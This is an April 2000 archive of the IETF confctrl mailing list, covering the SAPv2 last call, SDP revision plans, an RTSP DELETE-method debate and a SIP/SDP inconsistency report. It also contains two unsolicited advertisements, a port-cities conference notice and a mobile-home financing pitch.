Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA21731
	for confctrl-outgoing; Wed, 12 Apr 2000 11:05:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21725
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 11:05:20 -0700 (PDT)
Received: from frida.normandnet.fr (dnsserver.altitude.fr [195.7.102.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15011
	for <confctrl@isi.edu>; Wed, 12 Apr 2000 11:05:39 -0700 (PDT)
Received: from AIVP-EG (195.7.97.35 [195.7.97.35]) by frida.normandnet.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2RGPF0ZL; Wed, 12 Apr 2000 20:01:05 +0200
Message-Id: <3.0.6.32.20000412200502.00932730@mail.normandnet.fr>
X-Sender: promoconf@mail.normandnet.fr (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Wed, 12 Apr 2000 20:05:02 +0200
To: confctrl@ISI.EDU
From: AIVP - Info <infos@aivp.net>
Subject: 7th International Conference Cities & Ports
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id LAA21727
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

7th International Conference Cities & Ports
7e Conference Internationale Villes & Ports
6-9 november 2000
Marseille (France)
=====
to confctrl@isi.edu

Urban and port development authorities for coastal and river cities from
throughout the entire world will be meeting in Marseilles (France), from
the 6th to the 9th of November next, for the 7th Cities and Ports (IACP)
International Conference. More than 500 delegates representing the port
cities of more than 50 countries are expected in Marseilles to debate and
exchange views regarding the implementation of sustainable development in
port areas. This challenge is of interest to you ? This meeting concerns
you ? We propose, without any committment on your behalf, to keep you
informed free of charge of the programme development of this conference

> by sending a message to :
listegb.conference@aivp.net with SUBSCRIBE as subject
(mailto:listegb.conference@aivp.net?subject=SUBSCRIBE)

>or via our website
http://www.aivp.com/7conf/formgb.asp


=====


Les responsables du développement urbain et portuaire des villes maritimes
et fluviales du monde entier se donnent rendez-vous à Marseille (France) du
6 au 9 novembre prochains pour la 7e Conférence Internationale des Villes
et Ports organisée par l'Association Internationale Villes et Ports.
(AIVP). Plus de 500 délégués représentants des villes portuaires de plus de
50 pays sont attendus à Marseille pour débattre et échanger leurs
expériences autour de la mise en œuvre d'un développement durable des
places portuaires. Cet enjeu vous intéresse ? Cette rencontre vous
concerne? Nous vous proposons, sans aucun engagement de votre part, de vous
tenir informé gratuitement de l'évolution du programme de cette conférence

> en envoyant un message à :
listefr.conference@aivp.net avec le mot SUBSCRIBE en objet
(mailto:listefr.conference@aivp.net?subject=SUBSCRIBE)

>ou par notre site web :
http://www.aivp.com/7conf/form.asp



From confctrl-owner  Wed Apr 12 11:50:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA25862
	for confctrl-outgoing; Wed, 12 Apr 2000 11:50:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA25855
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 11:50:29 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24081
	for <confctrl@isi.edu>; Wed, 12 Apr 2000 11:50:48 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id UAA18067
	for <confctrl@isi.edu>; Wed, 12 Apr 2000 20:50:46 +0200 (MET DST)
Message-Id: <Version.32.20000412125311.04626690@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Wed, 12 Apr 2000 20:49:48 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Again: WG Last Call on SAP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

during the WG Last Call period for SAP some time ago, a number of
issues were raised.  These were addressed in the SAPv2 draft -06.
A final review at the MMUSIC WG meeting resulted only in a few minor
changes/clarifications to be incorporated in draft -06.

This is a WG Last Call on draft-ietf-mmusic-sap-v2-06, the Session
Announcement Protocol (SAP) Version 2 for Experimental until 26 April 2000.

Joerg



From confctrl-owner  Wed Apr 12 12:42:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA01160
	for confctrl-outgoing; Wed, 12 Apr 2000 12:42:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA01155
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 12:42:08 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA02510
	for <confctrl@ISI.EDU>; Wed, 12 Apr 2000 12:42:28 -0700 (PDT)
Received: from chsharp-tecra.cisco.com (chsharp-isdn.cisco.com [171.68.116.221]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id MAA12505; Wed, 12 Apr 2000 12:41:24 -0700 (PDT)
Message-Id: <4.3.1.2.20000412151612.00b46e60@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 12 Apr 2000 15:16:55 -0400
To: Joerg Ott <jo@tzi.uni-bremen.de>, confctrl@ISI.EDU
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: Again: WG Last Call on SAP
In-Reply-To: <Version.32.20000412125311.04626690@127.0.0.1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

When SAP is given a RFC number, will SDP be revved at some point to refer 
to the proper specification?
Thanks,
Chip

At 08:49 PM 4/12/00 +0200, Joerg Ott wrote:
>Folks,
>
>during the WG Last Call period for SAP some time ago, a number of
>issues were raised.  These were addressed in the SAPv2 draft -06.
>A final review at the MMUSIC WG meeting resulted only in a few minor
>changes/clarifications to be incorporated in draft -06.
>
>This is a WG Last Call on draft-ietf-mmusic-sap-v2-06, the Session
>Announcement Protocol (SAP) Version 2 for Experimental until 26 April 2000.
>
>Joerg
>

http://www.netaid.org
-------------------------------------------------------------------------
Chip Sharp                 CTO Consulting Engineering
Cisco Systems
Reality - Love it or Leave it.			
------------------------------------------------------------------------


From confctrl-owner  Wed Apr 12 13:27:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA04616
	for confctrl-outgoing; Wed, 12 Apr 2000 13:27:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA04611
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 13:27:46 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA09026
	for <confctrl@ISI.EDU>; Wed, 12 Apr 2000 13:28:05 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id WAA24884;
	Wed, 12 Apr 2000 22:27:54 +0200 (MET DST)
Message-Id: <200004122027.WAA24884@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Wed, 12 Apr 2000 22:21:47 +0200
To: Chip Sharp <chsharp@cisco.com>, confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Re: Again: WG Last Call on SAP
In-Reply-To: <4.3.1.2.20000412151612.00b46e60@dogwood.cisco.com>
References: <Version.32.20000412125311.04626690@127.0.0.1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yes, SDP will be rev'ed at some point.  We need to do this anyway to
incorporate a number of changes and clarifications (possibly also
extensions).

Joerg

>When SAP is given a RFC number, will SDP be revved at some point to refer 
>to the proper specification?
>Thanks,
>Chip
>
>At 08:49 PM 4/12/00 +0200, Joerg Ott wrote:
>>Folks,
>>
>>during the WG Last Call period for SAP some time ago, a number of
>>issues were raised.  These were addressed in the SAPv2 draft -06.
>>A final review at the MMUSIC WG meeting resulted only in a few minor
>>changes/clarifications to be incorporated in draft -06.
>>
>>This is a WG Last Call on draft-ietf-mmusic-sap-v2-06, the Session
>>Announcement Protocol (SAP) Version 2 for Experimental until 26 April 2000.
>>
>>Joerg
>>
>
>http://www.netaid.org
>-------------------------------------------------------------------------
>Chip Sharp                 CTO Consulting Engineering
>Cisco Systems
>Reality - Love it or Leave it.			
>------------------------------------------------------------------------
> 


From confctrl-owner  Wed Apr 12 13:31:56 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA04860
	for confctrl-outgoing; Wed, 12 Apr 2000 13:31:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA04855
	for <confctrl@zephyr.isi.edu>; Wed, 12 Apr 2000 13:31:56 -0700 (PDT)
Received: from aardvark.aciri.org (aardvark.aciri.org [192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10035
	for <confctrl@ISI.EDU>; Wed, 12 Apr 2000 13:32:15 -0700 (PDT)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.3/8.9.3) with ESMTP id NAA98539;
	Wed, 12 Apr 2000 13:32:10 -0700 (PDT)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Chip Sharp <chsharp@cisco.com>
cc: Joerg Ott <jo@tzi.uni-bremen.de>, confctrl@ISI.EDU
Subject: Re: Again: WG Last Call on SAP 
In-reply-to: Your message of "Wed, 12 Apr 2000 15:16:55 EDT."
             <4.3.1.2.20000412151612.00b46e60@dogwood.cisco.com> 
Date: Wed, 12 Apr 2000 13:32:10 -0700
Message-ID: <98537.955571530@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>When SAP is given a RFC number, will SDP be revved at some point to refer 
>to the proper specification?

SDP needs revising anyway to correct a number of minor problems with
the spec.  

It's not clear right now whether we'll cycle it at Proposed Standard
or move it to Draft Standard.  If there are significant changes need
to be made, we have to cycle it at Proposed Standard.  However SIP and
RTSP have dependencies on SDP, so moving SDP to Draft Standard would
be preferable I think.  I also view this as orthoganol to whether we
start an effort to develop a more capable alterative to SDP (some
people called this SDPv2, but it's not really a version 2 that's envisaged)

BTW, could people who've implemented SDP let me know.  To go to draft
standard we'd need to know that all features have been implemented,
and a first step is to know who's actually implemented SDP.

Cheers,
	Mark

From confctrl-owner  Thu Apr 13 04:27:08 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA19110
	for confctrl-outgoing; Thu, 13 Apr 2000 04:27:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA19090
	for <confctrl@zephyr.isi.edu>; Thu, 13 Apr 2000 04:27:04 -0700 (PDT)
Received: from frida.normandnet.fr (dnsserver.altitude.fr [195.7.102.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA29397
	for <confctrl@isi.edu>; Thu, 13 Apr 2000 04:27:23 -0700 (PDT)
Message-Id: <200004131127.EAA29397@tnt.isi.edu>
Received: from AIVP-EG (195.7.97.35 [195.7.97.35]) by frida.normandnet.fr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2RGPGLK7; Thu, 13 Apr 2000 12:24:54 +0200
Reply-To: infos@aivp.net
From: "Infos - AIVP" <infos@aivp.net>
To: aivp@ISI.EDU
Subject: 7a Conferencia Internacional Ciudades y Puertos
Date: Thu, 13 Apr 2000 12:15:25 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

7a Conferencia Internacional Ciudades y Puertos
7th International Conference Cities & Ports
6-9 november 2000
Marseille (France)
=====

Del 6 al 9 del próximo mes de noviembre, los responsables del desarrollo
urbano y portuario de las ciudades marítimas y fluviales de todo el mundo se
dan cita en Marsella (Francia) para la 7° Conferencia Internacional de las
Ciudades y Puertos organizada por la Asociación Internacional Ciudades y
Puertos. (AIVP). Se esperan en Marsella a más de 500 delegados
representantes de las ciudades portuarias de más de 50 países  para discutir
e intercambiar sus experiencias sobre la puesta en marcha de un desarrollo
sostenible de las plazas portuarias. ¿Le interesa este reto? ¿Le concierne
este encuentro? Sin ningún compromiso de su parte, le proponemos mantenerle
informado de forma gratuita sobre la evolución del programa de esta
conferencia

> enviando un mensaje a :
listees.conference@aivp.net con la palabra SUBSCRIBE en el objeto del
mensaje
(mailto:listees.conference@aivp.net?subject=SUBSCRIBE)

> via nuestro website
http://www.aivp.com/7conf/formes.asp


=====


Urban and port development authorities for coastal and river cities from
throughout the entire world will be meeting in Marseilles (France), from the
6th to the 9th of November next, for the 7th Cities and Ports (IACP)
International Conference. More than 500 delegates representing the port
cities of more than 50 countries are expected in Marseilles to debate and
exchange views regarding the implementation of sustainable development in
port areas. This challenge is of interest to you ? This meeting concerns you
? We propose, without any committment on your behalf, to keep you informed
free of charge of the programme development of this conference

> by sending a message to :
listegb.conference@aivp.net with SUBSCRIBE as subject
(mailto:listegb.conference@aivp.net?subject=SUBSCRIBE)

>or via our website
http://www.aivp.com/7conf/formgb.asp


From confctrl-owner  Thu Apr 13 12:29:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA13728
	for confctrl-outgoing; Thu, 13 Apr 2000 12:29:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA13723
	for <confctrl@zephyr.isi.edu>; Thu, 13 Apr 2000 12:29:08 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA04649
	for <confctrl@ISI.EDU>; Thu, 13 Apr 2000 12:29:28 -0700 (PDT)
Received: from robla350 ([172.22.101.226])
	by prognet.com (8.9.2/8.9.0) with ESMTP id MAA14324;
	Thu, 13 Apr 2000 12:29:27 -0700 (PDT)
Message-Id: <4.2.0.58.20000413121825.01865100@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 13 Apr 2000 12:29:14 -0700
To: Anthony Baxter <anthony@interlink.com.au>,
        Henning Schulzrinne <hgs@cs.columbia.edu>
From: Rob Lanphier <robla@real.com>
Subject: Re: Changes/clarifications to RTSP 
Cc: confctrl@ISI.EDU
In-Reply-To: <200004120852.SAA04123@mbuna.arbhome.com.au>
References: <Message from Henning Schulzrinne <hgs@cs.columbia.edu>
 <38F4268E.ED6CA9C9@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think I have to side with Henning on the concept of DELETE.  We already 
have slid down the slippery slope of file management by creating the 
ANNOUNCE/SETUP/RECORD functionality.  If one has file creation in a 
protocol, I think it's necessary to have file deletion in the 
protocol.  I'm not dug in on this position, but it seems sensible to me 
(though I haven't done a lot of asking around with our RTSP implementors here).

That said, your concerns can be addressed by the proposal I made a couple 
of days ago.  Basically, RTSP can and probably should provide the bare 
minimum necessary to clean up after itself, and punt to HTTP to do anything 
beyond the basics.  Maybe my proposal wasn't so half-baked after all  :)

I firmly second Hennings distaste of "DESCRIBE 
/deleteMessage/msgid=343556432".  The protocol should say what it means, 
and mean what it says.  "DESCRIBE"ing and deletion have nothing to do with 
one another.

Rob

At 06:52 PM 4/12/00 +1000, Anthony Baxter wrote:

> >>> Henning Schulzrinne wrote
> > >
> > > The problem is that this is a really slippery slope - you end up trying
> > > to encapsulate a whole lot of stuff into RTSP, and it's really quite
> >
> > The slippery slope argument can be made about anything, so I'm not sure
> > how to respond.
>
>If you're going to add DELETE, why not RENAME as well? And then you might
>get into versioning, so maybe you need locks, and the like.
>
> > In our voice mail model, there is no need for replies in the traditional
> > sense.
>
>? In the model I'm familiar with, it's one of the more frequent operations.
>RTSP is fine for setting up streams and working with them - but I'm not sure
>that extending it to modifying the resources on the original servers is such
>a great idea. It's surely such an incredibly site-specific copnfiguration,
>and it seems like it would be far far better implemented via HTTP or some
>other protocol. For the argument 'but not all RTSP servers will run HTTP' -
>well, they'd have to be modified to add DELETE &c, so why not modify them
>to do it via HTTP, instead?
>
> > > DESCRIBE /deleteMessage/msgid=343556432
> >
> > This seems even uglier.
>
>Sure, it is - but the point is that this isn't a protocol that's really
>designed to do the data manipulation tasks. It should be noted that I
>don't advocate the above - but if you must do it via RTSP, you can.
>
> > At least with an explicit command, the client
> > can find out which methods are supported (via OPTIONS), rather than
> > somehow magically guessing that some strange DESCRIBE URL also happens
> > to delete the message.
>
>But how would a client determine if it had access rights to delete a
>message? So you'd need to extend DESCRIBE to work out what access you
>had for a particular resource. And then you might need to add stuff to
>allow you to change access control for a particular resource.
>
>It seems to me like the line between what RTSP does now (record/play -
>setting up streams) and things like delete/rename/modify operations on
>resources on the server is a pretty clear one.
>
>
>Anthony
>--
>Anthony Baxter     <anthony@interlink.com.au>
>It's never too late to have a happy childhood.


From confctrl-owner  Thu Apr 13 14:05:15 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA18344
	for confctrl-outgoing; Thu, 13 Apr 2000 14:05:15 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18329
	for <confctrl@zephyr.isi.edu>; Thu, 13 Apr 2000 14:05:13 -0700 (PDT)
Received: from host (ABDCCB13.ipt.aol.com [171.220.203.19])
	by gamma.isi.edu (8.8.7/8.8.6) with SMTP id OAA01460
	for <confctrl@isi.edu>; Thu, 13 Apr 2000 14:05:31 -0700 (PDT)
Message-Id: <200004132105.OAA01460@gamma.isi.edu>
From: "Marc Lev" <marclev@yahoo.com>
To: <confctrl@ISI.EDU>
Subject: We pay cash, now!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Thu, 13 Apr 2000 17:15:04
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Do you know someone who is currently trying to sell their mobile home or mobile home park?
Do you know of someoone who is receiving payments from the sale of a mobile home or mobile home park?  If you answered yes to either of these 
questions we may be able to help.

At Trans World Funding we are in the business of helping people convert payments from mobile home and park sales into immediate cash.
We have investors who purchase mobile home notes and give the sellers a lump sum of cash instead of them having to receive monthly payments 
over a long period of time.

We can also finance the purchase of new mobile homes for dealerships throughout the country.

If you know of someone who is selling a mobile home or mobile home park, this may help them sell it much faster!  If you know someone who has 
sold a mobile home or park with seller financing and is receiving payments, this may help them financially.

Please feel free to contact me at any time.

Marc L. Lev, DCFS
President
Trans World Funding
TWF2000@aol.com
(410) 243-9382

PS  We are much more liberal and more flexable than a conventional bank!
PPS  We pay very nice referral fees.

If you have received this e-mail in error, please remain calm.  We have either communicated in the past or our names are on the same list.  If you 
wish to be removed from our mailing list, just send us a blank e-mail and put the word remove in the subject line.  Thank you for your time.

From confctrl-owner  Thu Apr 13 22:52:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA07791
	for confctrl-outgoing; Thu, 13 Apr 2000 22:52:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA07786
	for <confctrl@zephyr.isi.edu>; Thu, 13 Apr 2000 22:52:44 -0700 (PDT)
Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA02096
	for <confctrl@ISI.EDU>; Thu, 13 Apr 2000 22:53:03 -0700 (PDT)
Received: from mbuna.arbhome.com.au (CPE-144-132-1-236.vic.bigpond.net.au [144.132.1.236])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id PAA04718;
	Fri, 14 Apr 2000 15:52:29 +1000 (EST)
Received: from mbuna.arbhome.com.au (localhost [127.0.0.1])
	by mbuna.arbhome.com.au (8.9.2/8.9.2) with ESMTP id PAA12252;
	Fri, 14 Apr 2000 15:52:24 +1000 (EST)
Message-Id: <200004140552.PAA12252@mbuna.arbhome.com.au>
To: Rob Lanphier <robla@real.com>
cc: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU
From: Anthony Baxter <anthony@interlink.com.au>
Reply-to: Anthony Baxter <anthony@interlink.com.au>
Subject: Re: Changes/clarifications to RTSP 
In-Reply-To: Message from Rob Lanphier <robla@real.com> 
   of "Thu, 13 Apr 2000 12:29:14 MST." <4.2.0.58.20000413121825.01865100@goobox.prognet.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <12248.955691544.1@mbuna.arbhome.com.au>
Date: Fri, 14 Apr 2000 15:52:24 +1000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>> Rob Lanphier wrote
> I think I have to side with Henning on the concept of DELETE.  We already 
> have slid down the slippery slope of file management by creating the 
> ANNOUNCE/SETUP/RECORD functionality.  If one has file creation in a 
> protocol, I think it's necessary to have file deletion in the 
> protocol.  I'm not dug in on this position, but it seems sensible to me 
> (though I haven't done a lot of asking around with our RTSP implementors here)

But what do ANNOUNCE/SETUP/RECORD have to do with file creation? As far
as I can see (and this is also going from the existing wording) RTSP is
for setting up streams. ANNOUCE/RECORD is for setting up a stream or streams
from the client to the server. I don't see anything about it specifically
addressing creation of a file. 

> That said, your concerns can be addressed by the proposal I made a couple 
> of days ago.  Basically, RTSP can and probably should provide the bare 
> minimum necessary to clean up after itself, and punt to HTTP to do anything 
> beyond the basics.  Maybe my proposal wasn't so half-baked after all  :)

Ok, so what's wanted is a way to say 'actually, no, that Record operation
I just did was a mistake, please undo whatever permanent changes were made'?
In that case, couldn't a similar operation apply for DESCRIBE/PLAY?

As far as your "half-baked" idea - it's not too bad as a general idea.
This would be a way of saying 'hey, give me the HTTP reference for this
thing'. Could/should this be passed back in the 201 reply to a RECORD? 
That seems like the neatest solution.

> I firmly second Hennings distaste of "DESCRIBE 
> /deleteMessage/msgid=343556432".  The protocol should say what it means, 
> and mean what it says.  "DESCRIBE"ing and deletion have nothing to do with 
> one another.

Oh, absolutely - I don't advocate it at all. I was trying to make a point,
(obviously, I made it badly). Using RTSP for control of resources on the end
systems just seems like taking it in a new direction. 

Anthony

From confctrl-owner  Fri Apr 14 12:34:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA05270
	for confctrl-outgoing; Fri, 14 Apr 2000 12:34:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA05265
	for <confctrl@zephyr.isi.edu>; Fri, 14 Apr 2000 12:34:42 -0700 (PDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA05431
	for <confctrl@isi.edu>; Fri, 14 Apr 2000 12:35:02 -0700 (PDT)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id MAA28325
	for <confctrl@isi.edu>; Fri, 14 Apr 2000 12:35:01 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0004027425@mailgate2.apple.com>;
 Fri, 14 Apr 2000 12:34:54 -0700
Received: from [17.202.35.52] (singda.apple.com [17.202.35.52])
	by scv2.apple.com (8.9.3/8.9.3) with ESMTP id MAA03601;
	Fri, 14 Apr 2000 12:34:52 -0700 (PDT)
MIME-Version: 1.0
X-Sender: singer@mail.apple.com
Message-Id: <p04310108b51d22893f77@[17.202.35.52]>
In-Reply-To: <200004140552.PAA12252@mbuna.arbhome.com.au>
References: <200004140552.PAA12252@mbuna.arbhome.com.au>
Date: Fri, 14 Apr 2000 12:32:20 -0700
To: Anthony Baxter <anthony@interlink.com.au>
From: Dave Singer <singer@apple.com>
Subject: Re: Changes/clarifications to RTSP
Cc: Rob Lanphier <robla@real.com>, Henning Schulzrinne <hgs@cs.columbia.edu>,
        confctrl@ISI.EDU
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>As far as your "half-baked" idea - it's not too bad as a general idea.
>This would be a way of saying 'hey, give me the HTTP reference for this
>thing'. Could/should this be passed back in the 201 reply to a RECORD?
>That seems like the neatest solution.

This issue also comes up with caches;  please tell me a reliable 
(e.g. HTTP) way to get to this content, and its type (i.e. now a file 
type, rather than stream types).
-- 
David Singer
Apple Computer/QuickTime

From confctrl-owner  Sun Apr 16 14:18:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA18230
	for confctrl-outgoing; Sun, 16 Apr 2000 14:18:24 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18224
	for <confctrl@zephyr.isi.edu>; Sun, 16 Apr 2000 14:18:23 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id OAA13395
	for <confctrl@isi.edu>; Sun, 16 Apr 2000 14:18:29 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id RAA19488;
	Sun, 16 Apr 2000 17:18:37 -0400 (EDT)
Message-ID: <38FA2E2D.B62E2BDB@cs.columbia.edu>
Date: Sun, 16 Apr 2000 17:18:37 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Nicolas Quartier <Nicolas.quartier@alcatel.be>, confctrl@ISI.EDU
Subject: Re: Setting SDP values for Unicast
References: <38F6D39E.21AA647@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Nicolas Quartier wrote:
> 
> Dear Mr. Schulzrinne,
> 
> I think I found an inconsistency between RFC2543(SIP) and RFC2327
> (SDP).
> Section B2 of RFC2543 deals with the setting of SDP values for Unicast
> and there it
> is mentioned that:
> 
> If caller and callee have no media formats in common for a particular
> stream, the callee MUST return a session description containing the
> particular "m=" line, but with the port number set to zero, and no
> payload types listed.
> 
> But according to RFC2327, at least 1 payload type should be present
> in the "m=" line.

This should probably be brought to the attention of the SDP authors, to
be either fixed in the next version or otherwise resolved. Thanks.

> 
> 
> 
> Kind regards,
> Nicolas Quartier.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun Apr 16 15:04:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA19959
	for confctrl-outgoing; Sun, 16 Apr 2000 15:04:03 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19954
	for <confctrl@zephyr.isi.edu>; Sun, 16 Apr 2000 15:04:02 -0700 (PDT)
Received: from hazard.aciri.org (adsl-63-196-11-252.dsl.snfc21.pacbell.net [63.196.11.252])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id PAA14606
	for <confctrl@ISI.EDU>; Sun, 16 Apr 2000 15:04:07 -0700 (PDT)
Received: from hazard.aciri.org (localhost.aciri.org [127.0.0.1])
	by hazard.aciri.org (8.9.3/8.9.3) with ESMTP id PAA84756;
	Sun, 16 Apr 2000 15:04:03 -0700 (PDT)
